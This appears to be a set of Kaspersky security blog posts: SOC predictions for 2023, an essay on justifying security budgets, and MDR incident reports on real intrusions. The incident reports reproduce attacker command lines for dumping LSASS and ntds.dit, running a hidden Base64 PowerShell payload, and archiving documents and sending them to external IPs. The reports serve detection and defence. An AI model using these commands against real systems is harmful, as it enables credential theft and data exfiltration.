As the role of cybersecurity in large businesses increases remarkably year over year, the importance of Security Operations Centers (SOCs) is becoming paramount. This year’s Kaspersky Security Bulletin ends with tailored predictions for SOCs – from external and internal points of view. The first part of this report is devoted to the most current threats any SOC is likely to face in 2023. Based on our extensive Managed Detection and Response (MDR) experience and the dynamics we have seen over the years, we provide insights into the trends set to shape the threat landscape for enterprises this year. The second part is devoted to SOC trends from an internal point of view. Here we analyze challenges that managers will face regarding personnel, budgets and functions. They are closely intertwined with the threats looming over corporations in 2023, as only an effectively organized team can safeguard business against rapidly evolving malware and attack methods.

Part 1. What threats security operations centers will face in 2023

Ransomware will increasingly destroy data instead of encrypting it

Cyberspace reflects the global agenda, and geopolitical turbulence influences the attack surface. That’s why in 2023 we can expect the echoes of cyberwarfare to continue reverberating. The most common attack scenarios here are: attacks on employees (social engineering), attacks on IT infrastructure (DDoS), as well as attacks on critical infrastructure. Another interesting trend that started in 2022 and will continue in 2023 is that ransomware now not only encrypts companies’ data, but destroys it in certain cases. This threat looms large over organizations that are subject to politically motivated attacks, which look destined to be on the rise in the coming year.

Public-facing applications will continue to be exploited for initial access

Largely due to some notorious critical vulnerabilities in Exchange, in 2021 and 2022 we observed significant growth in successful initial compromise through the network perimeter, with the share of this type of initial access doubling in 2022 against 2021. Penetration from the perimeter requires less preparation than phishing, and rather old vulnerabilities are still exposed; we expect this tendency to continue in 2023.

Share of exploits in public applications, dynamics in 2021–2022, worldwide statistics (download)

More supply chain attacks via telecom

From year to year here at Kasperksy SOC we observe the interest of attackers for IT and telecom companies. According to the Kaspersky MDR report, in 2021 the telecom industry for the first time saw a prevalence of high severity incidents over medium and low in terms of expected number: on average 79 incidents per 10k systems monitored versus 42 incidents of medium severity and 28 of low severity (see this report for more details). In 2022 we continued to observe cybercriminal interest in telecom companies, although the share of high severity incidents was lower (roughly 12 per 10k computers versus 60 of medium and 22 of low severity). We encountered scenarios in which intruders attacked telecom companies in order to further target their customers. In 2023 we expect an increase in the number of supply chain attacks via telecom providers, which usually offer additional managed services.

Number of incidents in telecom companies per 10K systems in 2021 and 2022, worldwide statistics (download)

More reoccurring targeted attacks by state-sponsored actors

Kaspersky has provided MDR since 2016. During this time, we have observed targeted attacks (TA) across various industries – from automotive to government. Many of them are threatened by targeted attacks, especially large businesses and non-profits. Note that in cases with no signs of live targeted attacks, we still were able to find artefacts from previous targeted attacks.

It means there is a looming threat of reoccurring attacks in 2023: if a company was compromised once, with the attack successfully remediated, attackers are highly likely to try hacking this organization again. After an unsuccessful attack this organization is most likely to be attacked again, as it is a long-term goal of threat actors. This is especially noticeable in government organizations, which tend to get attacked by state-sponsored actors.

Number of incidents in government organizations per 10K systems in 2021 and 2022, worldwide statistics (download)

International conflicts are traditionally accompanied by information warfare where mass media inevitably play an important role. In recent years we have observed steady growth in attacks on this sector, and statistics for 2022 support this trend, with mass media one of the prime targets for attackers, along with government organizations.

Number of incidents in mass media companies per 10K systems in 2021 and 2022, worldwide statistics (download)

In 2023, these two sectors will most likely remain among the most frequently attacked, with the share of high severity incidents probably increasing.

To effectively guard against targeted attacks, it is necessary to implement active threat hunting in combination with MDR.

Part 2. What challenges will SOCs face internally: processes and efficiency

SOCs will be forced to raise requirements, while experiencing staff shortages

Looking at the internal challenges, we first need to consider human resources issues. The future of SOC development lies in intensive, not extensive, growth, meaning the value every team member (even unskilled ones) brings to SOC is increasing. Developing the skills of the SOC team is a proven way to counter the increasing amount of threats every SOC will be facing in 2023. That means incident response training, and all forms of SOC exercises, such as TTX, purple teaming, and adversary attack simulations, should be a significant part of 2023 SOC strategy. This gives SOC a goal: to enhance the SOC team, architecture, and operations for better performance. In the case of a mature SOC, it is just a question of time; in others, usually lack of experience and vision in terms of SOC development can be an issue. Commonly, the second case can be solved with a SOC review by external experts, who can identify gaps with fresh eyes to avoid the bias that prevents the internal team from seeing the bigger picture from the outside.

Another trend is related to the lack of skilled and experienced personnel that will continue to be present in 2023: the need for well-defined SOC processes. Therefore we predict an increasing role for SOC process development and related services.

Bigger budgets alongside efficiency as the cornerstone of SOC processes

The growing threat landscape is pushing cybersecurity and SOC budgets skywards. This trend will focus attention on budget spending, prompting “Why? What was the effect? What value does it bring?”- type questions for SOC managers.

With a mature approach, this circumstance should lead SOCs to implement “SOC efficiency management.” As part of this practice, companies will evaluate breach costs and map them to SOC performance in reducing such losses. Combined with analysis of prevented incidents, this can allow SOCs to evaluate the value they bring in monetary terms. But prior to implementing this approach, SOCs will need to deploy efficient metrics and their analysis, as well as established SOC governance processes.

Building full-scale threat intelligence and threat hunting

The growth of cyberattacks and threats will transform into high demand to predict attacks and attacker techniques, thus increasing the value of cyberthreat intelligence (CTI). From what we have observed so far in our daily practice, many SOCs’ CTI activities boil down to managing IOC feeds. This approach is ineffective against zero-day and APT attacks. Current trends already have shifted to establish full-scale CTI capabilities within companies, and in most SOCs have a dedicated CTI unit. That trend will grow and mature in 2023.

Cases of successful attacks being left unwatched for a long time are still common – and will be in 2023 due to the continuous growth of targeted attacks. And the Assume Breach Paradigm will stay with us in 2023 as well, which means that threat hunting has a good chance of becoming a trend.

So, we believe that threat hunting will form a vital part of any SOC development strategy. Although current thinking places it at the bottom of the list of must-have SOC technologies, in most cases this can be explained by poor understanding of how to conduct threat hunting or chaotic approach to delivery. But since threat hunting is part of SOC detection capabilities, which will be challenged by evolving threats, more companies will consider conducting threat hunting on a regular basis with clear goals and an understanding of how to reach them continuously.

These are our predictions for SOC specialists for 2023. Watch this space in 12 months’ time to see which of them came true.

According to a prominent Soviet science fiction writer, beauty is a fine line, a razor’s edge between two opposites locked in a never-ending battle. Today, we would put it less poetically as an ideal compromise between contradictions. An elegant, or beautiful, design is one that allows reaching that compromise.

As an information security professional, I like elegant designs — all the more so because trade-off is a prerequisite for an information security manager’s success: in particular, trade-off between the level of security and its cost in the most practical, literal sense. A common perception in the infosec community is that there can never be too much security, but it is understood that “too much” security is expensive — and sometimes, prohibitively so — from a business perspective. So, where is that fine line that defines “just enough” security, how much is enough, and how does one prove this to decision-makers? This is what I want to talk about.

Mathematics and images

There is a certain language barrier between a chief information security officer (CISO) and the above-mentioned decision-makers — I will refer to them as “business” for brevity. While security professionals speak of “lateral movement” and “attack surface”, business views infosec and the IT department as a whole as costs to be minimized. While the costs of IT are visible as hardware and software, it is hard to do the same with IS, as this is a purely applied function deeply integrated with IT and hardly perceivable at a high level of abstraction. I like to describe IS as one of IT’s many properties, a criterion by which to measure the quality of a company’s information systems. Quality is commonly understood to come at a price. Theoretically, business understands that too, but it asks valid questions: why it should allocate the exact amount articulated by the CISO, and what the company would get for that money.

IS funding requests historically have been backed by all kinds of horror stories: business will hear tales of current security incidents, such as ransomware attacks or data leaks, and then they will be told that a certain solution can help against the aforementioned threats. These arguments are supported by stories from relevant — and occasionally, not so much — publications containing a description and rough estimate of the damage along with the provider’s pricing. This is only good for a start, and there is no guarantee that the approach will work again, whereas we are interested in a continuously improving operational process that will help to measure the threat landscape with a reasonable degree of objectivity and in a way that is understandable to business, and adapt the corporate system of security controls to that. Therefore, let us put the horror stories aside as an approach that seriously lacks in both efficiency and effectiveness, and arm ourselves with relevant parameters.

I will start by highlighting the fact that humans are not particularly good at understanding plain text. Tables work much better, and images, better yet. Therefore, I recommend that your conversation with business about the need to improve the IS management system be illustrated with colorful diagrams and images that reflect the current threat landscape and the capabilities of operational security. The way to succeed is to make sure that the slide deck shows the capabilities of operational security — or simply, the SOC — as being up to current threats.

To compare the threat landscape with SOC performance, the data must be expressed in the same units. The efficiency and effectiveness of the SOC or any other team — let alone one that has any sort of service level agreement (SLA) — are constantly measured, so it is only logical to reuse the SOC metrics for evaluating the sufficiency of security. Measuring the threat landscape is a little less straightforward. Threats should be evaluated by a large number of parameters: the more characteristics of potential attackers we evaluate, the better the chance to obtain an unbiased picture. I would like to delve into two most obvious parameters, which are fairly easy to compute but also easy to explain without resorting to complex technical terms.

Mean time to detect an attack

Unfortunately, a complex attack is often noticed only when assessing impact, but our statistics include a fair number of mature companies that detected an attack at an earlier stage, which is favorable for our evaluation. Our analytics show that the mean detection time differs by attack scenario, but the planning of security controls should use the shortest time measured in hours.

As a consequence, the SOC is required to detect and localize the attack in time, which is normally expressed with two indicators: mean time to detect (MTTD) and mean time to respond (MTTR). Both must be less than the attacker’s mean time to reach the target, regardless of the attack type.

Time to investigate

This is the second, equally important, attribute, which is obviously related to the duration of the attackers’ presence in the compromised infrastructure.

The SOC team must have access to this value and the resources to respond without affecting the quality of monitoring.

I believe that indicators that demonstrate our SOC’s (in)ability to detect the threat before it goes far enough to cause damage are much easier for business to understand. Combined with many other indicators, such as “our SOC’s ability to detect specific attacker techniques and tools” or “our SOC’s ability to monitor specific penetration vectors”, these help to form the most unbiased assessment of the SOC’s operational preparedness and provide better arguments for business in favor of investing in a security area.

Using sources

Once we have settled on indicators to demonstrate to business, the question arises of where to get data from. Members of operational security teams who have accumulated their own incident detection and investigation statistics will immediately respond that a review of past cases should serve as the source of indicators for assessment. The outcome of the investigation will show the attackers’ time expectations and their methods, while the SOC metrics will provide an unbiased assessment of the defenders’ efficiency and effectiveness. Both types of indicators will be directly linked to the company, rather than being abstract assessments.

As for those who have not yet accumulated statistics and experience of their own, I recommend you using analytics from vendors and MSSPs. For instance, every year, we publish the DFIR team’s incident analytics, which can be used as a source of a potential attacker profile, while the SOC team’s analytical report will help to shape potential SOC targets. It goes without saying that the provider’s statistics should be representative for the industry and country the customer operates in rather than contain all sorts of irrelevant data. External sources of data could benefit experienced employees who draw upon their own data, too. These may serve as a source of information about new threats, which are already relevant to the industry as a whole but have not yet caught the eye of the specific organization’s SOC employees. In addition to that, external data will provide a basis for comparing the company’s own performance with that of the service providers to reevaluate the company’s ability to perform the work with in-house resources against the need for outsourcing.

Answering the question

The real cost of requisite security is the difference between attackers’ capabilities and the SOC team’s resources — provided that the former are assessed in terms of actual incidents and relevant statistics, and the latter, in terms of SOC metrics. The aforementioned MTTD and MTTR will work best, as they are easier for business to grasp than the SOC maturity model or other academic arguments. In my opinion, it is the combination of operational metrics based on both the company’s own teams’ past work and analytical reports by IS service providers that can help to achieve the right balance, resulting in the desired level of performance and efficiency at an acceptable cost in the long run, or in a word, in beauty.

Introduction

This report describes several interesting incidents observed by the Kaspersky Managed Detection and Response (MDR) team. The goal of the report is to inform our customers about techniques used by attackers. We hope that learning about the attacks that took place in the wild helps you to stay up to date on the modern threat landscape and to be better prepared for attacks.

Command and control via the public cloud

The use of public cloud services like Amazon, Azure or Google can make an attacker’s server difficult to spot. Kaspersky has reported several incidents where attackers used cloud services for C&C.

Case #1: Cloudflare Workers as redirectors

Case description

The incident started with Kaspersky MDR detecting the use of a comprehensive toolset for security assessment, presumably Cobalt Strike, by an antimalware (AM) engine memory scan (MEM:Trojan.Win64.Cobalt.gen). The memory space belongs to the process c:\windows\system32\[legitimate binary name]^[1].exe.

While investigating, we found that the process had initiated network connections to a potential C&C server:

hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/jquery/secrets/[random sequence]
hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/mails/images/[cut out]?_udpqjnvf=[cut out]

The URL format indicates the use of Cloudflare Workers.

We then found that earlier, the binary had unsuccessfully^[2] attempted to execute an lsass.exe memory dump via comsvcs.dll:

CMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\[filename].doc full

Several minutes later, a suspicious .bat script was run. This created a suspicious WMI consumer, later classified by MDR as an additional persistence mechanism.

The incident was detected in a timely manner, so the attacker did not have the time to follow through. The attacker’s final goals are thus unknown.

Case detection

The table below lists the signs of suspicious activity that were the starting point for the investigation by the SOC.

Payload hidden in long text

Case #1: A scheduled task that loads content from a long text file

Case description

This case started with a suspicious scheduled task. The listing below should give you a general idea of the task and the command it executes.
Scheduled task:

Microsoft\Windows\Management\Provisioning\YLepG5JS\075C8620-1D71-4322-ACE4-45C018679FC9, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A311AA10-BBF3-4CDE-A00B-AAAAB3136D6A}, C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\YLepG5JS\075C8620-1D71-4322-ACE4-45C018679FC9

Command:

"wscript.exe" /e:vbscript /b "C:\Windows\System32\r4RYLepG5\9B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C" "n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys'), 1874201, 422); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))"

The scheduled task invokes a VBS script (file path: C:\Windows\System32\r4RYLepG5\9B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C, MD5 106BC66F5A6E62B604D87FA73D70A708), which decodes from the Base64-encoded content of the file C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys, and then executes the latter.

The VBS script mimics the content and behavior of the legitimate C:\Windows\System32\SyncAppvPublishingServer.vbs file, but the path and file name are different.

The customer approved our MDR SOC analyst’s request to analyze the file C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys. A quick analysis revealed a Base64-encoded payload inside long text content (see the picture below).

The decoded payload contained a link to a C&C server:

Further telemetry analysis showed that the infection was probably caused by the following process, likely a malicious activator (MD5 F0829E688209CA94305A256B25FEFAF0):

C:\Users\<… cut out … >\Downloads\ExcelAnalyzer 3.4.3\crack\Patch.exe

The activator was downloaded with the Tixati BitTorrent client and executed by a member of the local Administrators group.

Fortunately, the telemetry analysis did not reveal any evidence of malicious activity from the discovered C&C server (counter[.]wmail-service[.]com), which would have allowed downloading further stages of infection. In the meantime, a new AM engine signature was released, and the malicious samples were now detected as Trojan-Dropper.Win64.Agent.afp (F0829E688209CA94305A256B25FEFAF0) and Trojan.PowerShell.Starter.o (106BC66F5A6E62B604D87FA73D70A708). The C&C URL was correctly classified as malicious.

Case detection

The table below lists the attack techniques and how they were detected by Kaspersky MDR.

Server-side attacks on the perimeter

Case #1: A ProxyShell vulnerability in Microsoft Exchange

Case description

During manual threat hunting, the Kaspersky SOC team detected suspicious activity on a Microsoft Exchange server: the process MSExchangeMailboxReplication.exe attempted to create several suspicious files:

\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\rqfja.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\ecp\auth\yjiba.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\jiwkl.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\qwezb.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\scripts\qspwi.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\scripts\premium\upxnl.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\themes\qikyp.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\themes\resources\jvdyt.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\ecp\auth\mgsjz.aspx

The ASPX file format, which the service should not create, and the random file names led our SOC analyst to believe that those files were web shells.

Telemetry analysis of the suspicious file creation attempts showed that Kaspersky Endpoint Security (KES) had identified the process behavior as PDM:Exploit.Win32.Generic and blocked some of the activities.

Similar behavior was detected the next day, this time an attempt at creating one file:

\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\rmvbe.aspx

KES had blocked the exploitation attempts. Nonetheless, the attempts themselves indicated that the Microsoft Exchange server was vulnerable and in need of patching as soon as possible.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

Case #2: MS SQL Server exploitation

Case description

The incident was detected due to suspicious activity exhibited by sqlservr.exe, a legitimate Microsoft SQL Server process. At the time of detection, the account active on the host was S-1-5-21-<…>-<…>-<…>-181797 (Domain / username).

The SQL Server process attempted to create a suspicious file:

c:\windows\serviceprofiles\mssql$sqlexpress\appdata\local\temp\tmpd279.tmp

We observed that a suspicious assembly was loaded to the sqlserver process (c:\program files\microsoft sql server\mssql15.sqlexpress\mssql\binn\sqlservr.exe) db_0x2D09A3D6\65536_fscbd (MD5 383D20DE8F94D12A6DED1E03F53C1E16) with the original file name evilclr.dll.

The file was detected by the AM engine as HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b.

The SQL server host had previously been seen accessible from the Internet and in the process of being scanned by a TOR network.

After the suspicious assembly load, the AM engine detected execution of malicious SQL jobs. The SQL jobs contained obfuscated PowerShell commands. For example:

The created SQL jobs attempted to connect to URLs like those shown below:

hxxp://101.39.<…cut…>.58:16765/2E<…cut…>2F.Png
hxxp://103.213.<…cut…>.55:15909/2E<…cut…>2F.Png
hxxp://117.122.<…cut…>.10:19365/2E<…cut…>2F.Png
hxxp://211.110.<…cut…>.208:19724/2E<…cut…>2F.Png
hxxp://216.189.<…cut…>.94:19063/2E<.cut...>2F.Png
hxxp://217.69.<…cut…>.139:13171/2E<…cut…>2F.Png
hxxp://222.138.<…cut…>.26:17566/2E<…cut…>2F.Png
hxxp://222.186.<…cut…>.157:14922/2E<…cut…>2F.Png
hxxp://45.76.<…cut…>.180:17128/2E<…cut…>2F.Png
hxxp://59.97.<…cut…>.243:17801/2E<…cut…>2F.Png
hxxp://61.174.<…cut…>.163:15457/2E<…cut…>2F.Png
hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png
hxxp://216.189.<…cut…>.94:19063/2E<…cut…>2F.Png
hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png

Some of the IP addresses were already on the deny list, while others were added in response to this incident.

We were not able to observe any other host within the monitoring scope attempt to connect to these IP addresses, which confirmed that the attack was detected at an early stage.

The next day, the same activity, with the same verdicts (HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b) was detected on another SQL Server host, which was also accessible from the Internet.

Since the attack was detected in time, and its further progress was blocked by the AM engine, the attacker was not able to proceed, while the customer corrected the network configuration errors to block access to the server from the Internet.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

What does exfiltration in a real-life APT look like?

Case #1: Collecting and stealing documents

Case description

Kaspersky MDR detected suspicious activity on one particular host in customer infrastructure, as the following process was started remotely by psexec:

“cmd.exe” /c “c:\perflogs\1.bat”, which started:

findstr  "10.<…cut…>.
wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username1>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]"  /c:1 
wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username2>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]" /c:1

After that, the following inventory commands were executed by the binary C:\ProgramData\USOPrivate\ UpdateStore\windnphd.exe:

C:\Windows\system32\cmd.exe /C ping 10.<…cut…> -n 2 
query  user 
C:\Windows\system32\cmd.exe /C tasklist /S 10.<…cut…> -U <domain>\<username3> -P <password>   
C:\Windows\system32\cmd.exe /C net use \\10.<…cut…>\ipc$ "<password>" /u:<domain>\<username3>    
C:\Windows\system32\cmd.exe /C net group "domain admins" /domain    
C:\Windows\system32\cmd.exe /C ping <hostname1>    
C:\Windows\system32\cmd.exe /C vssadmin list shadows    
C:\Windows\system32\cmd.exe /C ipconfig /all    
C:\Windows\system32\cmd.exe /C dir \\10.<…cut…>\c$

Suspicious commands triggering actions in the Active Directory Database were executed:

C:\Windows\system32\cmd.exe /C ntdsutil snapshot "activate instance ntds" create quit  
C:\Windows\system32\cmd.exe /C dir c:\windows\system32\ntds.dit 
C:\Windows\system32\cmd.exe /C dir c:\  
C:\Windows\system32\cmd.exe /C dir c:\windows\ntds\ntds.dit

hxxp[:]//31.192.234[.]60:53/useintget

nd.exe  c:\windows\system32\config\system c:\users\public\sys.txt   
nd.exe  c:\windows\ntds\ntds.dit c:\users\public\nt.txt 
C:\Windows\system32\cmd.exe /C move *.txt c:\users\public\tmp   
C:\Windows\system32\cmd.exe /C rar.exe a -k -r -s -m1  c:\users\public\n.rar   c:\users\public\tmp\ 
rar.exe  a -k -r -s -m1  c:\users\public\n.rar   c:\users\public\tmp\

schtasks  /create  /sc minute /mo 30 /ru system  /tn \tmp /tr "c:\users\public\s.exe c:\users\public\0816-s.rar 38[.]54[.]14[.]183 53 down"  /f

This executable used the archive c:\users\public\0816-s.rar and the suspicious IP address 38[.]54[.]14[.]183, located in Vietnam, as parameters.

The 0816-s.rar archive was created via remote execution of the following command through psexec:

rar a -k -r -s -ta[Pass_in_clear_text] -m1  c:\users\public\0816-s.rar   "\\10.<…cut…>\c$\users\<username4>\Documents\<DocumentFolder1>"

After that, we detected a suspicious network connection to the IP address 38[.]54[.]14[.]183 from the s.exe executable. The activity looked like an attempt to transfer the data collected during the attack to the attacker’s C&C server.

Similar suspicious behavior was detected on another host, <hostname>.

First, a suspicious file was created over the SMB protocol: c:\users\public\winpdasd.exe (MD5: B83C9905F57045110C75A950A4EE56E4).

Next, a task was created remotely via psexec.exe:

schtasks  /create  /sc minute /mo 30 /ru system  /tn \tmp /tr "c:\users\public\winpdasd.exe"  /f

During task execution, an external network communication was detected, and certain discovery commands were executed:

hxxp://31[.]192.234.60:53/useintget
ping  10.<…cut…> -n 1
query  user
net  use

This was followed by a connection to a network share on the host 10.<…cut…> as username3:

C:\Windows\system32\cmd.exe /C net use \\10.<…cut…>\ipc$ "<password>" /u:<domain>\<username3>

More reconnaissance command executions were detected:

C:\Windows\system32\cmd.exe /C dir \\10.<…cut…>\c$\users\<username4>\AppData\Roaming\Adobe\Linguistics
C:\Windows\system32\cmd.exe /C tasklist /S 10.<…cut…> -U <domain>\<username3> -P <password> |findstr rundll32.exe
tasklist  /S 10.<…cut…> -U <domain>\<username3> -P <password>
C:\Windows\system32\cmd.exe /C taskkill /S 10.<…cut…> -U <domain>\<username3> -P <password> /pid <PID> /f
C:\Windows\system32\cmd.exe /C schtasks /run /s 10.<…cut…> /u <domain>\<username3> /p "<password>" /tn \Microsoft\Windows\Tcpip\dcrpytod

Then winpdasd.exe created the file windpchsvc.exe (MD5: AE03B4C183EAA7A4289D8E3069582930) and set it up as a task:

C:\Windows\system32\cmd.exe /C schtasks /create  /sc minute /mo 30 /ru system  /tn \Microsoft\Windows\Network\windpch /tr "C:\Users\admin\AppData\Roaming\Microsoft\Network\windpchsvc.exe"  /f

After that, C&C communications were detected:

hxxp://139.162.35[.]70:53/micsoftgp

This incident, a fragment of a long-running APT campaign, demonstrates a data collection scenario. It shows that the attacker’s final goal was to spy on and monitor the victim’s IT infrastructure. Another feature of targeted attacks that can be clearly seen from this incident is the use of custom tools. An analysis of these is given later in this report as an example.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

An analysis of the custom tools used by the attacker

windpchsvc.exe and winpdasd.exe

Both malware samples are designed to extract a payload from a file, decode it, and directly execute it via a function call. The payload is encoded shellcode.

Both files read in from a file intended to deceive investigators and users by applying naming conventions that are similar to system files:

Payload file for windpchsvc.exe

The malware, windpchsvc.exe, reads from the file c:\users\Default\ntusers.dat. A legitimate file, named ntuser.dat, exists in this location. Note that the bona fide registry file does not contain an ‘s’.

A similar file name was used for the winpdasd.exe malware:

Payload file for winpdasd.exe

The malware reads from this file and decodes the bytes for direct execution via a function call as seen below (call [ebp+payload_alloc] and call esi ):

windpchsvc.exe: decode, allocate memory, copy to mem, execute

winpdasd.exe: decode, allocate memory, copy to mem, execute via function call

The payload files (ntusers.dat) contain the main logic, while the samples we analyzed are just the loaders.

Some of the images show a function that I labeled “HookSleep” and which might be used for sandbox evasion in other forms of this malware. The function has no direct effect on the execution of the payload.

The decompiled function can be seen below:

The “HookSleep” function found in both files, decompiled

When debugging, this worked as expected. The Win32 Sleep function is directed to the defined function in the malware:

The Sleep function redirected back to the malware code

s.exe

This file can be classified as a simple network transfer tool capable of uploading or downloading. The basic parameters are as follows:

s.exe <file> <IP address> <port> <up|down>

This is basically netcat without all the features. The benefit of this is that it does not draw as much attention as netcat. In fact, while testing, we found that netcat, when set to listen, was able to receive a file from this sample and output to a file (albeit with some added junk characters in the results). We also found that the sample was incapable of executing anything after a download or upload.

The algorithm is pretty simple: network startup, parse arguments, create socket, send file or wait for file based on arguments. The decompiled main function can be seen below:

Decompiled network transfer tool

^[1] The actual name of the binary is unimportant; hence it was skipped.
^[2] Kaspersky Endpoint Security efficiently protects LSASS memory.

Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules.

The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond.

PrintNightmare vulnerability exploitation

This summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: CVE-2021-1675/CVE-2021-34527, also known as PrintNightmare. This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already published the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.

Case #1

Shortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.

Kaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious DLL libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.

	Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host.	C:\Windows\System32\spool\drivers\x64\3\nightmare.dll C:\Windows\System32\spool\drivers\x64\3\old\1\nightmare.dll
	In addition, the following script was found on the host.	\cve-2021-1675-main-powershell\cve-2021-1675-main\cve-2021-1675.ps1

The table below contains signs of suspicious activity that served as a starting point for the investigation.

Case #2

In another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, spooler service access to suspicious DLL files was observed. In addition, the spooler service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.

	MDR analyst detected the creation of suspicious DLL libraries using the certutil.exe tool on a monitored host. After that, the spooler service was added to the planned tasks.	C:\Windows\System32\spool\driver s\x64\3\new\hello.dll C:\Windows\System32\spool\driver s\x64\3\new\unidrv.dll…
	Next, the spooler service called the newly created DLL files. In addition, the attacker ran some of the created libraries using the rundll32 component.
	Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows NTLM hashes to be intercepted.	\REGISTRY\MACHINE\SYSTEM\Control Set001\Control\Lsa\MSV1_0
	Then the attacker re-added spooler to the planned tasks. After that, execution of various commands on the host with System privileges was observed. The source of this activity was c:\windows\system32\spoolsv.exe process	C:\Windows\System32\cmd.exe /c net start spooler C:\Windows\System32\cmd.exe /c timeout 600 > NUL && net start spooler

The table below contains signs of suspicious activity that were the starting point for investigation.

MuddyWater attack

In this case, the Kaspersky MDR team detected a request from the customer’s infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the MuddyWater group. MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky’s report on this group’s activity is available here.

Among other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.

	First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host.	\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KLWB6.vbs
	After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group.	hxxp://185[.]117[.]73[.]52:443/getTarget Info?guid=xxx-yyy-zzz&status=1 hxxp://185[.]117[.]73[.]52:443/getComman d?guid=xxx-yyy-zzz*
	Next, execution of commands to collect information from the compromised host was observed.	“C:\Windows\System32\cmd.exe” /c explorer.exe >> c:\ProgramData\app_setting_readme.txt “C:\Windows\System32\cmd.exe” /c whoami >> c:\ProgramData\app_setting_readme.txt

* xxx is company short name (identifier), yyy is the victim hostname and zzz is username

Table below contains signs of suspicious activity that were the starting point for investigation.

Credential Dumping from LSASS Memory

In the last case, we’d like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.

MDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker’s actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.

	The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID.	C:\Windows\System32\tasklist.exe C:\Windows\System32\findstr.exe /i sass
	After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution.	“C:\Windows\System32\rundll32.exe” C:\Windows\System32\comsvcs.dll MiniDump 616 c:\programdata\cdera.bin full ## 616 is LSASS process id
